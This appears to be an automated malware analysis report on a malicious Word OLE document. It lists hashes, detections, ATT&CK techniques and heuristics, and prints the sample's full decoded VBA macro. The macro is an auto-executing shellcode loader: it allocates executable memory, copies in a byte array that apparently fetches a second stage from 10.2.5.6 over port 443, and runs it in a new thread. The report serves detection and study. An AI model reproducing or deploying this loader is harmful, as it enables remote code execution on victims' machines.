Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e693747170e4845…

MALICIOUS

Office (OLE)

35.0 KB Created: 2018-03-13 16:39:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 852501fcd4b4a0c844f04505470688f6 SHA-1: 5870d749523b601c0365c0333f0b95ee8d2eab39 SHA-256: 0e693747170e4845a5322258f612f427d891f236094518706acb31be41bc3fd7
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon opening a document. The macro references VirtualAlloc, suggesting it allocates memory for and executes a payload. The ClamAV detection 'Doc.Dropper.Valyria-6680543-0' further indicates its dropper functionality. The embedded URL is benign, but the overall behavior points to a downloader.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Gfizxeaur As Long, Cpoeqtm As Variant, Omtz As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3565 bytes
SHA-256: 18224bbd86eb534209baf1e546b0a02c5ff332dff7025a5f4187ecc7d0b39f20
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
        Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Gqrxrkt As Long, ByVal Wrprae As Long, ByVal Wbfzalr As LongPtr, Vicab As Long, ByVal Mzdpaf As Long, Evwglz As Long) As LongPtr
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Mumfactb As Long, ByVal Cokyekm As Long, ByVal Hwhja As Long, ByVal Dfnw As Long) As LongPtr
        Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Krhdsxl As LongPtr, ByRef Gapktr As Any, ByVal Iqxdyvja As Long) As LongPtr
#Else
        Private Declare Function CreateThread Lib "kernel32" (ByVal Gqrxrkt As Long, ByVal Wrprae As Long, ByVal Wbfzalr As Long, Vicab As Long, ByVal Mzdpaf As Long, Evwglz As Long) As Long
        Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Mumfactb As Long, ByVal Cokyekm As Long, ByVal Hwhja As Long, ByVal Dfnw As Long) As Long
        Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Krhdsxl As Long, ByRef Gapktr As Any, ByVal Iqxdyvja As Long) As Long
#End If

Sub Auto_Open()
        Dim Gfizxeaur As Long, Cpoeqtm As Variant, Omtz As Long
#If VBA7 Then
        Dim Ghqjxzeg As LongPtr, Weug As LongPtr
#Else
        Dim Ghqjxzeg As Long, Weug As Long
#End If
        Cpoeqtm = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 152, 0, 0, 0, 47, 114, 48, 53, 83, 50, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, _
158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 22, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, _
255, 213, 133, 192, 116, 205, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 105, 255, 255, 255, 49, 48, 46, 50, 46, 53, 46, 54, 0)

        Ghqjxzeg = VirtualAlloc(0, UBound(Cpoeqtm), &H1000, &H40)
        For Omtz = LBound(Cpoeqtm) To UBound(Cpoeqtm)
                Gfizxeaur = Cpoeqtm(Omtz)
                Weug = RtlMoveMemory(Ghqjxzeg + Omtz, Gfizxeaur, 1)
        Next Omtz
        Weug = CreateThread(0, 0, Ghqjxzeg, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.